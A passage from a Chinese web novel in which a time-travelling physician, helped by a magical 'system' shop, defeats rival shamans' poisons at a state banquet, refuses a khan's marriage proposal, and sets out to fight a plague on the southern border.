“此乃我秘制‘龟息还魂散’!”李梵娘朗声道,“可保其一线生机!”说着,她将药剂注入猎犬体内。 药剂注入后,猎犬的呼吸和心跳以肉眼可见的速度微弱下去,最终几乎完全停止,身体也变得冰冷僵硬! “死了?!狗死了!”有人惊呼。 摩罗眼中闪过一丝得意:“哼!什么龟息还魂散!分明是毒药!李医仙!你输了!” “急什么?”李梵娘淡淡瞥了他一眼,又从药箱中取出一个不起眼的小瓶,里面装着“纳米级组织修复凝胶”。 “此乃‘生肌续骨膏’!”李梵娘一边解释,一边将凝胶均匀地涂抹在猎犬的断肢创口处。 凝胶接触到血肉,迅速渗透进去。 接着,她取出银针,在众目睽睽之下,开始为猎犬进行断肢缝合。 她的动作很快。 缝合完毕,李梵娘再次取出几支营养液和抗生素,注入猎犬体内。 然后,她退后一步,静静等待。 时间一分一秒过去。 讲堂内鸦雀无声,所有人都屏住呼吸,死死盯着那只“死去”的猎犬。 一刻钟…两刻钟… 就在摩罗准备开口嘲讽时。 “呜…呜…”一声微弱的呜咽声,从猎犬口中发出。 紧接着,在所有人难以置信的目光中,那只猎犬紧闭的眼睛,缓缓睁开,涣散的眼神重新聚焦。 它挣扎着,竟然…竟然用那三条完好的腿,颤颤巍巍地站了起来。 更令人震惊的是,它那条被斩断的后腿创口处,正在以肉眼可见的速度疯狂生长,骨骼似乎也在重塑。 “活了!真的活了!” “天呐!肉白骨!真的在长骨头!” “神迹!简直是神迹!” “李医仙万岁!” 全场爆发出震天的欢呼和惊叹。 摩罗脸上的笑瞬间僵住,如同见了鬼一般,他踉跄后退一步,指着那正在恢复的猎犬,嘴唇哆嗦着:“不…不可能!这…这不可能!妖术!这是妖术!” “妖术?”李梵娘冷笑一声,“摩罗大师!事实胜于雄辩!你的雪域灵芝呢?!” 摩罗脸色惨白如纸,看着周围大胤官员和使节们嘲讽、鄙夷的目光,看着南诏大祭司那若有所思的眼神。 他知道,自己输得一败涂地。 他颤抖着从怀中取出一个用寒玉雕成的盒子,打开。 里面躺着一株通体雪白、晶莹剔透、散发着淡淡寒气和异香的灵芝。 正是西羌国宝,雪域灵芝。 “愿赌服输!”摩罗咬着牙,将玉盒递到李梵娘面前,眼中充满了不甘和怨毒。 李梵娘接过玉盒,感受着那股寒气,微微一笑:“多谢摩罗大师馈赠!此药,正好用于教习局,救治更多伤患!” 摩罗羞愤交加,猛地喷出一口鲜血,仰天栽倒,被随从手忙脚乱地抬了下去。 李梵娘完胜,大胤一战扬名,震慑番邦。 就在众人为李梵娘的胜利欢呼时,南诏使团中,那位身披黑袍的大祭司,缓缓站起身。 “李夫人医术通神,令人叹服!我南诏国主,亦有一疑难杂症,困扰多年。” “不知夫人…可敢随我前往南诏一行?若能治愈国主,我南诏愿奉夫人为国师!共享南疆无尽药材资源!” 第一百四十五章 国宴风云 西羌巫医摩罗的惨败,如同长了翅膀般传遍京城,更随着各国使团的传播,迅速传到周边诸国。 大胤医仙李梵娘之名,如日中天,皇家医药教习局,更是成为了无数医者心中的圣地。 半月时间一晃而过。 筹备已久的国宴,终于在皇宫太和殿如期举行。 太和殿内。 蟠龙柱撑起穹顶,琉璃宫灯散发着柔和的光。 殿内两侧摆放着紫檀木长案,案上珍馐美馔,香气四溢。 皇帝高坐龙椅之上,气色比之前好了许多,脸上带着帝王的威严和不易察觉的疲惫。 皇后因禁足未能出席。 九皇子李睿、镇国公杜仁绍等重臣分列左右。 下首,则是北狄、西羌、南诏、高丽、琉球等国的使节团。 北狄可汗阿史那咄吉亲自率团出席,他身材魁梧,面容粗犷,眼神锐利,带着草原王者的剽悍之气。 西羌使团由一位王子带队,摩罗并未出现(据说回国后便一病不起)。 南诏使团的大祭司依旧披着黑袍,沉默地坐在角落。 李梵娘作为特邀嘉宾,位置被安排在杜仁绍身边,与各国使节同席。 她今日一身庄重而不失雅致的深青色诰命服,头戴珠冠,气质沉静,在满殿珠光宝气中,自有一股卓然之气。 宴会开始,丝竹管弦声响起。 觥筹交错,气氛热烈。 各国使节纷纷向皇帝敬酒,说着吉祥话。 皇帝都一一回敬,展现大国气度。 酒过三巡,菜过五味。 皇帝放下酒杯,目光扫过全场,“今日盛宴,群贤毕至。朕心甚慰。借此良机,朕欲向诸位使节,展示我大胤新近开创之‘新医道’。” “此道乃镇国公夫人李梵娘所创,活人无数,惠泽苍生!今日,便请李夫人及其弟子,为诸位演示一番!” 所有人的目光瞬间聚焦在李梵娘身上。 李梵娘从容起身,微微躬身:“臣妇遵旨。” 她轻轻拍了拍手。 早已等候在殿外的教习局学员立刻抬着几样器械走了进来:改良版的显微镜、透明琉璃手术台、以及各种消毒器械和手术工具。 “诸位请看!”李梵娘走到显微镜旁,示意学员操作。 很快,墙上投射出放大数百倍的细菌图像和青霉素杀菌的动态画面。 这一幕再次震撼了所有人,尤其是第一次见到的外国使节,无不目瞪口呆。 接着,学员们分组演示了战场急救(模拟假人)、外科缝合(动物实验)、骨折固定等。 动作娴熟,配合默契。 “好!好一个大胤新医道!”北狄可汗阿史那咄吉率先拍案叫好,声音洪亮。 “李夫人真乃神人也!有此医术,大胤将士如虎添翼!本王佩服!” 其他使节也纷纷附和称赞。 李梵娘微笑致谢,目的已经达到。 然而,就在此时,南诏使团那位黑袍大祭司,再次缓缓站起身。 他手中捧着一个盖着黑布的小巧玉盒。 “尊敬的大胤皇帝陛下,”大祭司的声音沙哑,“李夫人医术通神,我等叹服。” “然,我南诏国主所患奇疾,非寻常医术可解。此乃国主所赐‘噬心蛊’之母蛊!” “此蛊凶险异常,中者如万蚁噬心,痛不欲生,七日必亡,李夫人既敢称‘生死人肉白骨’,不知…可敢以此蛊为试?” “若夫人能解此蛊毒,我南诏愿世代与大胤交好!若不能…哼!” 他冷哼一声,威胁之意不言而喻。 噬心蛊? 全场瞬间哗然。 南诏蛊毒,凶名赫赫,这大祭司竟在国宴上公然下蛊? 这是赤裸裸的挑衅! 皇帝的脸色瞬间沉了下来,杜仁绍眼中寒光一闪,手已按向刀柄,李睿也皱紧了眉头。 所有人的目光再次聚焦在李梵娘身上,想看她如何应对这种突发情况。 李梵娘看着大祭司手中的玉盒,心中冷笑。 这南诏大祭司,比西羌巫医更阴险,竟想用蛊毒置她于死地。 她急问系统:【系统!商城有没有解蛊的东西?!】 【叮!宿主大大别慌!‘万能生物毒素纳米机器人’,专治各种不服。管他什么蛊毒、蛇毒、辐射毒。” “纳米机器人进去,统统分解打包带走,也没有副作用,价格小贵,但宿主大大医德值管够!兑换不?】 〈兑换!立刻!〉 【叮!兑换成功!‘万能生物毒素清除纳米机器人x1,已放入空间】 有了底气,李梵娘神色更加从容。 她上前一步,目光平静地看着南诏大祭司:“大祭司此言差矣。医者仁心,治病救人,岂能以身试毒?不过…” 她话锋一转,声音拔高,带着凛然正气。 “既然大祭司执意要试我大胤医术深浅,本夫人…便接下了,但,本夫人要加一个条件!” “哦?什么条件?”大祭司眼神阴鸷。 “若本夫人解了此蛊,”李梵娘一字一句,声音响彻大殿,“大祭司需当众承认南诏巫蛊之术不如我大胤医术。” “并…交出此蛊培育之法!永世不得再用此等阴毒之物害人!” 李梵娘话音刚落,不等大祭司回应,坐在北狄使团首位、一直沉默观察的阿史那咄吉可汗,突然朗声大笑起来。 他站起身,目光灼灼地看向李梵娘,又转向皇帝:“哈哈哈,好!好一个巾帼不让须眉的李夫人!本王佩服。” “不过…李夫人既要解蛊,又要斗法,未免太过辛苦,不如…本王也添个彩头?” 他目光转向皇帝。 “若李夫人真能解了这南诏蛊毒,本王愿以北狄三座水草丰美的牧场为聘!求娶贵国三公主李静姝!与大胤永结秦晋之好!” 阿史那咄吉可汗的话,如同在沸腾的油锅里泼入一瓢冰水,瞬间让整个太和殿陷入死一般的寂静。 求娶三公主李静姝? 还是以三座丰美牧场为聘? 所有人的目光都震惊地投向这位草原雄主,又下意识地转向高坐龙椅的皇帝。 李恒的脸色瞬间变得极其复杂,有惊愕,有审视,更有一丝不易察觉的…如释重负? 李静姝如今是废黜幽禁的庶人,能用来换取北狄三座牧场,换取边关数年太平,简直是废物利用。 天大的好事! 但…阿史那咄吉此时提出,分明是看准了李梵娘解蛊的胜算,想趁机捡个大便宜,甚至…有逼迫之嫌。 南诏大祭司黑袍下的身体也明显僵了一下。 他没想到,北狄可汗会在这节骨眼上横插一脚,这让他精心准备的计谋,瞬间被转移了焦点。 第一百四十六章 求娶 李梵娘同样心头一震,她算是明白了阿史那咄吉的心思了。 这位草原可汗,不仅野心勃勃,而且极其精明。 他看准了李静姝对大胤皇室已是弃子,用她换取牧场,既得了实惠,又向大胤示好。 更关键的是…他此刻提出,等于是在逼皇帝表态,逼她李梵娘必须赢下这场解蛊比试。 否则,和亲之事无从谈起。 “可汗此言当真?”皇帝缓缓开口,声音带着帝王的威严和试探。 “草原男儿,一诺千金!”阿史那咄吉右手抚胸,朗声道,“只要李夫人解了这蛊毒!本王即刻上表,以三座牧场为聘,迎娶贵国三公主!永结盟好!” “好!”皇帝眼中精光一闪,拍案道,“朕准了!李夫人!南诏大祭司!开始吧!” 压力瞬间全部给到了李梵娘,解蛊成功,则和亲可成,边关得安。 解蛊失败…不仅她性命堪忧,更可能影响两国邦交。 “大祭司!请!”李梵娘深吸一口气。 南诏大祭司黑袍下的手微微颤抖。 他本意是想用蛊毒震慑大胤,打压李梵娘的气焰,甚至可能借机除掉这个威胁。 自始至终都没想到可能被北狄可汗搅局,更被皇帝和李梵娘逼到了墙角。 此刻,他已是骑虎难下。 “哼!”大祭司冷哼一声,猛地揭开玉盒上的黑布。 只见玉盒内,一条通体漆黑、细如发丝、头生独角的小虫,正盘踞在一小块猩红的血肉上,缓缓蠕动。 “此乃‘噬心蛊’母蛊!”大祭司声音沙哑,“李夫人!请接蛊!” 他手指一弹,那条蛊虫竟化作一道黑线,直射李梵娘面门。 “夫人小心!”杜仁绍瞳孔骤缩,下意识就要拔刀。 “别动!”李梵娘厉喝一声。 她早有准备,意念一动,系统空间的纳米机器人瞬间出现在她手中。 同时,她另一只手闪电般抬起,用特制的琉璃片挡在身前。 “啪!” 蛊虫撞在琉璃片上,发出一声轻响。 它似乎被激怒了,独角上冒出丝丝黑气,疯狂扭动,试图钻透琉璃。 “哼!雕虫小技!”李梵娘冷笑一声,手里的注射器毫不犹豫刺中蛊虫身体。 “嘶——!”蛊虫发出一声尖锐刺耳的嘶鸣,身体剧烈抽搐起来,一股浓烈的黑气从它体内喷涌而出。 “注入!” 【叮!‘万能生物毒素清除纳米机器人’注入成功!】 系统提示音响起。 只见那疯狂扭动的蛊虫,身体以肉眼可见的速度迅速干瘪、变灰。 它喷出的黑气也被分解、消散,短短数息之间,那条令人毛骨悚然的蛊虫,竟化作了一小撮灰烬。 “噗!”南诏大祭司猛地喷出一口鲜血,身体踉跄后退,眼中充满了难以置信和恐惧。 “不…不可能!我的本命蛊…怎么会…怎么会…” “母蛊已死!”李梵娘朗声道,声音响彻大殿,“噬心蛊毒,已解!” 全场死寂,随即爆掌声。 “神乎其技!简直是神乎其技!” “挥手灭蛊!李夫人真乃神人也!” “南诏蛊毒?不过如此!” 南诏大祭司面如死灰,瘫软在地,如同被抽走了所有精气神。 他知道,自己完了,不仅任务失败,连本命蛊都被毁了,回到南诏,也是死路一条。 “大祭司!”李梵娘上前一步,目光冰冷,“愿赌服输,承认南诏巫蛊之术不如我大胤医术,交出噬心蛊培育之法!永世禁用!” 大祭司嘴唇哆嗦着,在无数道目光的逼视下,最终绝望地垂下头:“我…我认输…南诏巫蛊…不如大胤医术。” “噬心蛊…培育之法…在…在我怀中…” 他颤抖着从怀中掏出一卷古老的兽皮卷,递了过去。 李梵娘接过兽皮卷,看都没看,直接交给旁边的周院正:“列为禁术,永世封存。” “是!夫人!”周院正激动地接过。 “好!好!好!”皇帝龙颜大悦,连说三个好字,“李夫人医术通神!扬我国威!赏!重重有赏!” “谢陛下!”李梵娘躬身谢恩。 “阿史那可汗!”皇帝目光转向北狄可汗,笑容满面,“李夫人已解蛊毒!和亲之事…” “哈哈哈!”阿史那咄吉放声大笑,站起身,他目光灼灼地看向李梵娘,眼里是毫不掩饰的欣赏、赞叹和…一丝狂热。 “陛下,本王说话算话,三座牧场,即刻奉上!至于三公主…” 他话锋一转,目光炽热地看向李梵娘:“本王改主意了!三公主…本王不要了!” “什么?!”全场哗然!皇帝的笑也僵在脸上。 阿史那咄吉大步走到李梵娘面前,无视了旁边杜仁绍想杀人的眼神。 “李夫人,本王纵横草原二十载,从未见过如你这般惊才绝艳的女子。” “医术通神,胆识过人,风华绝代,三公主不过是个被幽禁的废人,如何能与你相比?” 他右手抚胸,对着李梵娘行了一个草原最隆重的礼节,声音真挚:“李梵娘!本王阿史那咄吉!以北狄可汗之名,以草原最丰美的十座牧场、十万头牛羊为聘!” “求娶你为我的可敦,与我共享草原!共掌北狄!你可愿?” 整个太和殿彻底炸开了锅,所有人都被这突如其来的变故惊呆了。 北狄可汗竟然当众悔婚,转而求娶镇国公夫人李梵娘?!这…这简直是惊天奇闻,是对大胤天威的挑衅,更是对镇国公的羞辱。 杜仁绍的脸色阴沉,杀意如实质般从他身上爆发出来。 他猛地一步踏出,挡在李梵娘身前,腰间的长刀“锵”地一声出鞘半寸。 “阿史那咄吉!你找死?” 太和殿内瞬间剑拔弩张,玄甲军侍卫瞬间握紧了刀柄,北狄使团的勇士也立刻起身,怒目而视。 “杜将军!”阿史那咄吉面对杜仁绍却毫无惧色,反而咧嘴一笑,露出森白的牙齿。 “本王是真心仰慕李夫人,草原男儿,敢爱敢恨,看上心仪的女子,自然要全力争取!”“难道…杜将军怕了?不敢让李夫人自己选择?” “你——!”杜仁绍眼中怒火翻腾,握刀的手青筋暴起。 若非顾及两国邦交,他早已一刀劈死这个狗东西了。 第一百四十七章 公主之命 “够了!”皇帝猛地一拍御案,“阿史那可汗!李梵娘乃我大胤一品诰命镇国公夫人!岂容你如此轻慢?和亲之事,关乎两国邦交!岂能儿戏?” “陛下!”阿史那咄吉转向皇帝,气势丝毫不减,“本王并非儿戏,三公主,本王可以不要。” “但李夫人…本王势在必得!若陛下肯成全,本王愿再加五座牧场!与大胤永世结盟!绝不再犯边关一步!若陛下不允…” 他眼中闪过一丝厉色。 “那和亲之事,就此作罢!我北狄铁骑,随时恭候!” 所有人都屏住了呼吸,目光在皇帝、杜仁绍、阿史那咄吉和李梵娘之间来回看着。 “陛下!”杜仁绍单膝跪地,“臣杜仁绍!请战!北狄若敢犯边!臣定率玄甲军!踏平草原!诛杀此獠!以血此辱!” “杜将军豪气!”阿史那咄吉冷笑,“本王也正想领教领教大胤军神的厉害!” 眼看一场大战一触即发。 “都住口!”皇帝深吸一口气,强压下心中的怒气。 他目光复杂地看向李梵娘。 阿史那咄吉的条件太诱人了,十五座牧场,永世结盟,这足以让大胤北疆安享数十年太平。 但…李梵娘是杜仁绍的妻子,是大胤的功臣,更是他倚重的国之栋梁。 若强行将她送去和亲…于情于理,都说不过去,更会寒了天下人的心。 “李夫人,”皇帝的声音带着疲惫和无奈,“此事…因你而起。阿史那可汗所求…朕…不便替你决断。你…自己选吧!” 自己选? 所有人的目光瞬间聚焦在李梵娘身上。 是选择远嫁草原,成为尊贵的可敦,换取两国和平? 还是选择留在杜仁绍身边,但可能引发一场战争? 杜仁绍猛地抬头,看向李梵娘,眼里有紧张、担忧、还有害怕。 他紧紧握住了拳头,指甲深深嵌入掌心。 阿史那咄吉也目光灼灼地盯着她,充满了志在必得。 李梵娘站在大殿中央,承受着无数道目光的洗礼。 她神色平静,没有丝毫慌乱。 她缓缓抬起头,目光先落在杜仁绍身上。 那眼神带着安抚,带着信任。 然后,她转向阿史那咄吉,声音平静,“阿史那可汗厚爱,梵娘愧不敢当。可汗雄才大略,威震草原,乃当世英雄。然…” 她微微一顿,“梵娘此生,早已心有所属,唯有镇国公杜仁绍一人。” “生,是他杜家的人!死,是他杜家的鬼!草原虽美,牧场虽丰,可汗虽尊…但,非我所愿!请可汗…收回成命!” “好!”杜仁绍猛地站起身,眼中爆发出狂喜。 他一步上前,紧紧握住李梵娘的手,将她护在身后。 “可汗!听清楚了?!我夫人,不嫁!” 阿史那咄吉脸上的笑瞬间凝固。 他死死盯着李梵娘,眼中充满了震惊、愤怒、不甘和挫败。 他纵横草原,所向披靡,从未想过,自己如此丰厚的求娶,竟会被一个女人当众拒绝。 而且拒绝得如此干脆,如此不留情面。 “好!好!好!”阿史那咄吉连说三个好字,声音低沉,带着压抑的怒气。 “李梵娘!你很好!杜仁绍!你也很好!” 他猛地转身,对着皇帝,声音冰冷:“陛下,既然李夫人不愿,本王也不强人所难!了,但和亲之事,乃两国盟约!岂能因一人而废?” “三公主,本王要定了!十日后,本王在驿馆等候!若见不到人…哼!后果自负!” 说完,他不再看任何人,带着北狄使团,拂袖而去。 留下满殿死寂。 皇帝脸色铁青,疲惫地挥挥手:“都散了吧!李睿!杜仁绍!李梵娘!留下!” 众人鱼贯退出太和殿。 李梵娘和杜仁绍、李睿留了下来。 “父皇…”李睿欲言又止。 “不必说了。”皇帝疲惫地揉着眉心,“阿史那咄吉…这是铁了心要带走李静姝,也罢…一个废人,能换得边关太平…值了。” 他看向李梵娘,眼神复杂:“李夫人…今日之事,委屈你了。” “陛下言重了。”李梵娘平静道,“臣妇只是做了该做的选择。” “嗯。”李恒点点头,“阿史那咄吉此人,睚眦必报。今日你当众拒婚,扫了他的面子…” “他虽未当场发作,但心中必有芥蒂。日后…你与杜卿,要小心提防。” “臣明白!”杜仁绍沉声道,“他若敢动梵娘一根汗毛!臣必让他血债血偿!” “好了。”皇帝摆摆手,“李静姝那边…李睿,你去办吧。告诉她…这是她为皇室做的最后一点贡献!让她…好自为之!” “儿臣遵旨!”李睿躬身领命。 冷宫。 李静姝蜷缩在草席上,形容枯槁,眼神呆滞。 曾经的骄纵跋扈,早已被绝望和恐惧取代。 “吱呀——”宫门被推开。 李睿带着两名内侍走了进来。 “九…九皇弟?”李静姝茫然地抬起头,眼中闪过一丝希望,“是…是父皇赦免我了吗?” 李睿面无表情地看着她,眼中没有一丝温度:“三皇姐,父皇有旨。” 李静姝惊喜的大叫,“父皇!父皇原谅我了?我就知道!父皇不会不要我的!母后!一定是母后求情了!对不对?!” 李睿打断她的幻想:“父皇旨意:废庶人李静姝,即日起,恢复公主封号!” “十日后,远嫁北狄,为北狄可汗阿史那咄吉之可敦!钦此!” 李静姝脸上的狂喜瞬间凝固,随即化为惊恐和绝望。 “不!不!我不去!我不去北狄!我不嫁给那个蛮子!九皇弟!你骗我!你骗我!”她歇斯底里地哭喊起来,扑上来抓住李睿的衣角。 “九皇弟!求求你!求求你向父皇求情!我不要去!我宁愿死!宁愿一辈子待在冷宫!我也不要去那个蛮荒之地!求求你!” 李睿厌恶地甩开她的手,声音冰冷:“这是圣旨!由不得你!北狄可汗点名要你。” “这是你为皇室,为大胤,做的最后一点贡献,来人!替公主梳洗更衣!严加看管!十日后,送嫁!” “不——!!”李静姝瘫软在地,像一个被抽走魂儿的人偶,眼神空洞。 第一百四十八章 草原明珠 十日后,北狄驿馆。 一场仓促而隆重的送嫁仪式在驿馆前举行。 李静姝身着大红嫁衣,头戴凤冠,被宫女搀扶着,送上华丽的马车。 她脸色惨白如纸,眼神空洞麻木,如同一个精致的木偶。 凤冠珠帘下,隐约可见泪痕斑斑。 阿史那咄吉一身北狄盛装,骑在高大的战马上,神情倨傲。 他看都没看马车里的李静姝,目光越过人群,落在远处观礼的李梵娘和杜仁绍身上。 “李夫人!”阿史那咄吉突然朗声开口,吸引了所有人的注意。 李梵娘眉头微蹙,不知他又要做什么。 阿史那咄吉策马缓缓走到李梵娘和杜仁绍面前,居高临下地看着他们。 他目光灼灼地盯着李梵娘,眼中没有了之前的狂热,却多了一丝复杂难明的欣赏和遗憾。 “李梵娘!”阿史那咄吉声音低沉,“本王说过,本王欣赏你!今日,本王再问你最后一次!” “可愿随本王回草原?本王的后帐,永远为你留一个位置!草原的辽阔,远胜这方寸之地!” 杜仁绍眼神一寒,上前一步,将李梵娘挡在身后,声音冰冷:“可汗!请自重!我夫人早已言明,此生唯我一人!” “哼!”阿史那咄吉冷哼一声,却没有动怒。 他深深看了李梵娘一眼,忽然从怀中取出一枚金光闪闪、雕刻着狼头的令牌。 “李梵娘!本王说话算话!你不愿做我的可敦,本王不强求,但本王欣赏你的胆识和医术。” “今日,本王以北狄可汗之名,认你为义妹,赐你‘金狼牙’令!持此令者,如本王亲临!” “草原各部,见令如见本王!你…就是我阿史那咄吉的妹妹!草原的明珠!萨仁高娃(月光明珠)!” 他猛地将金狼牙令牌抛向李梵娘。 杜仁绍眼疾手快,一把接住,入手冰凉,令牌正面是狰狞的金狼头,背面刻着北狄文字和“萨仁高娃”四个字。 全场再次震惊,北狄可汗竟然认李梵娘为义妹? 赐予象征最高权力的金狼牙令? 这…这简直是天大的恩宠和荣耀! 李梵娘也愣住了。 她没想到阿史那咄吉会来这一手。 “拿着!”阿史那咄吉不容置疑地说道,“这是本王的心意,也是草原的友谊!” “从今往后,你李梵娘,就是我阿史那咄吉的妹妹!谁敢欺你!便是与我北狄为敌!草原的勇士,随时为你而战!” 他顿了顿,目光扫过杜仁绍,带着挑衅。 “杜将军!好好待我妹妹!若让她受半点委屈…本王定率铁骑南下!踏平你镇国公府!” “不劳可汗费心!”杜仁绍握紧金狼牙令,声音冷硬,“我的夫人,我自会护她周全!可汗还是…管好你自己的可敦吧!” “哼!”阿史那咄吉不再多言,调转马头,大手一挥:“出发!” 北狄使团簇拥着李静姝的马车,缓缓驶离驿馆,消失在远处。 李静姝的命运,如同断线的风筝,飘向了草原深处。 送走北狄使团,李梵娘看着手中沉甸甸的金狼牙令,心情复杂。 阿史那咄吉这一手,既全了他的面子,又给了她一个护身符。 更关键的是…他借此机会,将草原与大胤绑在了一起。 “这阿史那咄吉…倒是个枭雄!”杜仁绍把玩着令牌,眼神深邃。 “他认你为义妹,赐你金狼牙令…绝非一时兴起,他看中的,是你的医术。” “他想借你的力量,提升北狄的医疗水平,甚至…可能在为未来的战争做准备。” 李梵娘点点头:“我知道。但…这未必是坏事。草原缺医少药,牧民饱受病痛折磨。” “若能通过教习局,将一些基础的急救和防疫知识传播过去,也是功德一件。至于战争…只要我们够强,就不怕任何人!” “嗯。”杜仁绍将令牌交到李梵娘手中,“收好。这是你的护身符,也是…一份责任。” 国宴之后,生活似乎又恢复了平静。 教习局的重建和教学工作如火如荼地进行着。 李梵娘将雪域灵芝交给周院正研究,希望能从中提取出有效成分,造福更多病患。 同时,她也开始着手编写更系统的医学教材,准备将教习局的经验推广到各州府。 杜仁绍则忙于京畿大营的防务和玄甲军的整训。 阿史那咄吉的威胁犹在耳边,他必须让大胤的军队保持最强的战斗力。 春儿现在不仅跟着夫子学习,也开始接触一些基础的医学知识,展现出不错的天赋。 然而,平静的日子没过多久,一个意想不到的访客,打破了这份宁静。 这天,李梵娘正在教习局指导学员进行缝合练习,李睿匆匆赶来,脸色凝重。 “梵娘!南诏国…出事了!” “南诏?”李梵娘心头一紧,“出了什么事?” 李睿屏退左右,压低声音:“刚收到八百里加急密报!南诏国主…驾崩了!” “什么?!”李梵娘一惊!南诏国主正值壮年,怎么会突然驾崩? “消息确切!”李睿脸色难看,“据我们在南诏的密探回报,国主是…暴毙!死状极其诡异!七窍流血,全身溃烂!疑似…中了剧毒!” “而且…就在国主驾崩前几日,那位在国宴上与你斗法的大祭司…也离奇失踪了!” 大祭司失踪?国主暴毙? 中毒? 李梵娘瞬间联想到国宴上解蛊的事情。 大祭司本命蛊被毁,回国后必定失势。 难道…是他怀恨在心,毒杀了国主? “现在南诏国内乱成一团!”李睿继续道,“国主无子,只有一位年幼的公主!几位手握兵权的部落首领和国主的兄弟,都在蠢蠢欲动!随时可能爆发内战!更麻烦的是…” 他顿了顿,声音更加沉重:“南诏与大胤接壤的边境几个部落,突然爆发了大规模的瘟疫,染病者高热不退,浑身长满脓疮,口鼻流血,数日内便死亡。” “疫情蔓延极快,已有向大胤边境蔓延的趋势,南诏那边…已经彻底失控了。” 瘟疫? 李梵娘的心猛地沉了下去。 在古代,瘟疫一旦失控,后果不堪设想。 “陛下震怒!”李睿道,“已命边境守军封锁关隘,严防死守。” “同时,急召太医院院正周清源,率队前往边境控制疫情,但…周院正看过密报描述的病症后…束手无策。” “他说…此瘟疫闻所未闻,凶险异常,恐怕…只有梵娘你…才有办法!” 第一百四十九章 惊变 李梵娘眉头紧锁。 周院正是太医院首座,医术精湛。 连他都束手无策,这瘟疫的凶险程度可想而知。 “陛下旨意,”李睿看着李梵娘,眼中带着恳求和一担忧,“命李梵娘为钦差,全权负责南诏边境瘟疫防治事宜,可调动一切资源!便宜行事!” “务必…将瘟疫挡在国门之外,同时…查清南诏国主暴毙真相,稳定南诏局势!以防他国趁虚而入!” 她不仅要对抗瘟疫,还要深入南诏这个巫蛊盛行、局势动荡的国家,查清国主死因。 稍有不慎,便是万劫不复! “梵娘…”李睿欲言又止,“此行…凶险万分!父皇也知…但…南诏若乱,瘟疫失控,必将波及大胤!” “梵娘你医术通神,仁心仁术…父皇说…唯有托付于你,才有一线生机!” 李梵娘沉默片刻。 她当然知道此行的凶险,但…医者的天职,让她无法退缩。 更何况,这关系到无数百姓的性命,关系到边境的安危。 “臣妇…领旨!”李梵娘抬起头,“但请殿下转告陛下,臣妇需要最精锐的护卫,最充足的药材,以及…教习局十名最优秀的医工随行!” “没问题!”李睿立刻应道,“父皇已下旨,由镇国公杜仁绍,亲率三百玄甲军精锐,护卫夫人南下。” “所需药材物资,由太医院和内库全力供应,教习局人员,由夫人自行挑选!” 李梵娘心中稍安。有杜仁绍在身边,再大的凶险,她也有勇气面对。 “何时出发?”李梵娘问。 “越快越好!”李睿沉声道,“疫情如火!刻不容缓!” “好!”李梵娘点头,“给我一天时间准备!明日清晨出发!” 李睿离开后,李梵娘立刻开会。 她挑选了刘二柱等十名经验丰富、胆大心细、擅长外伤处理和防疫的医工。 同时,她打开系统商城,开始疯狂选东西:强效抗生素、抗病毒血清、消毒剂、防护服、口罩、手套、简易检测试剂盒…所有能想到的防疫物资,全部放进系统空间。 傍晚,回到镇国公府。 杜仁绍已经在书房等她。 他一身戎装,正在擦拭佩刀,神情冷峻。 “都安排好了?”杜仁绍问。 “嗯。”李梵娘点头,“教习局十人,物资清单已交给周院正。我们明早出发。” 杜仁绍放下刀,走到她面前,深深地看着她:“怕吗?” 李梵娘摇摇头:“有你在,不怕。” 杜仁绍眼中闪过一丝温柔,将她拥入怀中:“放心。有我在,没人能伤你分毫!瘟疫…我们一定能解决!” “嗯。”李梵娘靠在他的胸膛上。 “对了,”杜仁绍想起什么,低声道,“阿史那咄吉临走前,派人送来一份密信。” “密信?”李梵娘抬起头。 “嗯。”杜仁绍从怀中取出一封用火漆密封的信,“他说…南诏之事,恐非天灾,而是人祸!让我们小心…南诏国主之死,可能与西羌有关!” “他还说…若遇危难,可持金狼牙令,向靠近南诏边境的‘黑石部’求援!黑石部首领是他的心腹!” 西羌? 李梵娘心头一凛! 又是西羌!那个在教习局投毒刺杀失败,巫医摩罗铩羽而归的西羌? 他们竟然把手伸到了南诏? 李梵娘接过密信,拆开火漆。 信纸上只有寥寥数语,却让她瞳孔骤然收缩:“小心西羌‘鬼医’!南疆瘟疫…或为其手笔!此人…善用活人炼毒!已非人哉!” 阿史那咄吉的信,再结合南诏国主离奇暴毙的惨状(七窍流血,全身溃烂)和边境爆发的诡异瘟疫(高热、脓疮、口鼻流血)…... 这不是天灾,而是彻头彻尾的人祸。 “鬼医”策划,西羌支持,针对南诏甚至意图波及大胤的阴谋。 “西羌…鬼医…”李梵娘眼中寒光凛冽。 新仇旧恨让李梵娘怒气冲天,教习局投毒刺杀,如今又丧心病狂制造瘟疫。 此獠不除,天理难容! “梵娘?”杜仁绍察觉到她的异样,沉声问道,“信上说什么?” 李梵娘将信纸递给他,声音带着怒气:“阿史那咄吉提醒我们,南诏瘟疫可能是西羌‘鬼医’所为!此人…用活人炼毒!已非人哉!” 杜仁绍快速扫过信纸,脸色瞬间阴沉,一股杀意从他身上爆发出来。 “鬼医?又是西羌!好!好得很!新账旧账,一起算!” 他猛地握紧拳头,骨节发出爆响:“传令!玄甲军!即刻整装!明日卯时,拔营南下!遇西羌者…杀无赦!” “是!” 翌日清晨,天色微明。 镇国公府门前,车马肃立,甲胄森然。 三百名玄甲军,人人披坚执锐,散发着铁血肃杀之气。 十名教习局医工由刘二柱带队,身着特制防护服,背着药箱器械。 李梵娘一身利落的劲装,长发束起,英姿飒爽。 杜仁绍一身玄甲,腰悬长刀。 春儿被张大娘抱着,站在门口,眼里噙着泪水,却强忍着没有哭出来。 “娘!爹!你们要早点回来!”春儿的声音带着哭腔。 李梵娘心中一酸,上前紧紧抱住女儿:“春儿乖,在家听张大娘的话,好好读书。爹娘很快就回来。” “嗯!”春儿用力点头,“春儿会乖!等爹娘回来!” 杜仁绍也走过来,揉了揉女儿的头发:“爹娘不在,你就是家里的小主人!要坚强!” “嗯!春儿坚强!”春儿挺起胸脯。 告别了女儿,李梵娘和杜仁绍翻身上马。 杜仁绍高举手臂,厉声喝道:“出发!” “得令!”三百玄甲军齐声应和,声震长空。 马蹄踏破清晨的寂静,向着南疆疾驰而去。 一路无话,昼夜兼程。 越往南行,天气越发湿热,空气中弥漫着沉闷的气息。 沿途所见,流民渐多,个个面黄肌瘦,眼神惊恐,拖家带口地向北逃难。 五日后,队伍抵达大胤与南诏接壤的重镇——云岭关。 关城内外,气氛凝重,守关将士皆以布巾蒙面,眼神警惕。 关门前设置了数道关卡,由士兵和临时征召的医者把守,对所有入关人员进行严格盘查和隔离观察。 “来者何人?!通关文牒!”守关校尉厉声喝问,声音带着嘶哑和疲惫。 